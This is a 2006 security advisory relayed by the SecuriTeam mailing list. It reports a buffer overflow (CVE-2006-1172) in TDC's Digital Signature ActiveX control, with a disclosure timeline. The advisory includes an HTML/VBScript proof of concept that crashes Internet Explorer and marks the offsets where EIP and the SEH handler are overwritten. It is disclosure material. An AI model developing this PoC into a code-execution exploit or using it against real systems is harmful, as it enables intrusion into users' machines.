[NT] Cryptomathic ActiveX Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Cryptomathic ActiveX Buffer Overflow
------------------------------------------------------------------------


SUMMARY

"A <http://www.cryptomathic.com/products/primeink_csp.html> Cryptographic
Service Provider (CSP) is a Microsoft Windows component that offers
cryptographic services such as encryption or signing and the secure
storage of user keys."

Improper handling of user input allows attackers to execute arbitrary code
using the TDC Digital signature ActiveX.

DETAILS

A vulnerability has been found in an ActiveX object distributed as part of
TDC's Microsoft CSP suite.
The suite consists of Cryptomathic PrimeInk CSP and some ActiveX objects.
The primary task of the CSP is to handle private RSA keys that are
encrypted by keys derived from the user provided passwords. The ActiveX
objects assist in key management operations like certificate request
generation, installation of issued certificate, key and certificate
backup/recovery and change of password.

While Cryptomathic PrimeInk CSP is used by many institutions around the
world, the ActiveX objects have only been distributed as part of TDC's
Microsoft CSP suite in Denmark.

The problem is an unhanded field in cenroll.dll, allowing full control of
the Instruction Pointer(EIP) on the stack and the SEH allowing several
ways to do code execution.

The vulnerability allows code execution on any client machine that has the
component installed if the user navigates to an attacker-created website.
The attacker creates a website that calls the installed ActiveX component,
or it would be possible to make an email with an embedded HTML page
thereby triggering an overflow.

Proof of Concept:
The Proof-of-Concept applied here only shows that the vulnerability are
present. A PoC have been developed proving that code execution is truly
possible.
The PoC developed, exploits the implementation used by TDC Digital
signature.

< html>
< head>
< title>CIRT.DK - Cryptomathic ActiveX Buffer Overflow< / title>
< IMG SRC="http://www.cirt.dk/images/logo.jpg";>
< / head>
< body>
< center>
< h1>TDC Digital Signature ActiveX Buffer Overflow< / h1>
< h4> (c)2006 by Dennis Rand - CIRT.DK< / h4>

The following Proof-of-Concept will make Internet Explorer
shutdown, if you are vulnerable.<br>
< / center>
< br >
< script>alert('Press "OK" to see if you are vulnerable')< / script>
< object classid='clsid:6DA9275C-64E5-42A1-879C-D90B5F0DC5B4'
id='target' >< / object>
< script language='vbscript'>
arg1 = String(8, "A")
arg1 = arg1 + "ABCD" ' EIP is overwritten here
arg1 = arg1 + String(64, "B")
arg1 = arg1 + "AABB" ' Pointer to the next SEH Handler
arg1 = arg1 + "BBAA" ' SE Handler
arg1 = arg1 + String(700, "C")
arg2 = "DefaultV"

target.createPKCS10 arg1 ,arg2
< / script>
< script>alert('You are secure')< / script>
< / body>
< / html>

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1172>
CVE-2006-1172

Disclosure Timeline:
18-03-2006 Vulnerability discovered
28-03-2006 Vulnerability reported to Morten Storm TDC Certificates An
email sent through csirt at csirt.dk
29-03-2006 TDC responds having received the report
30-03-2006 Received CERT/CC vulnerability tag / CVE tag
30-03-2006 Vulnerability reported to Cryptomathic Morten.Landrock at
cryptomathic.com and Torben.Pedersen at cryptomathic.com
30-03-2006 Cryptomathic A/S verifies that they received the report.
25-04-2006 Cryptomathic A/S provides final fix to TDC
01-05-2006 Cryptomathic A/S and TDC approves the final advisory
05-05-2006 TDC releases news to the press, and start rolling out a patch.
05-05-2006 Public release


ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@xxxxxxx> CIRT.DK.
The original article can be found at:
<http://www.cirt.dk/advisories/cirt-43-advisory.pdf>
http://www.cirt.dk/advisories/cirt-43-advisory.pdf



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
    (Securiteam)
  • [UNIX] SCO Multiple Local Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
    (Securiteam)
  • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
    (Securiteam)
  • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
    (Securiteam)
  • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
    (Securiteam)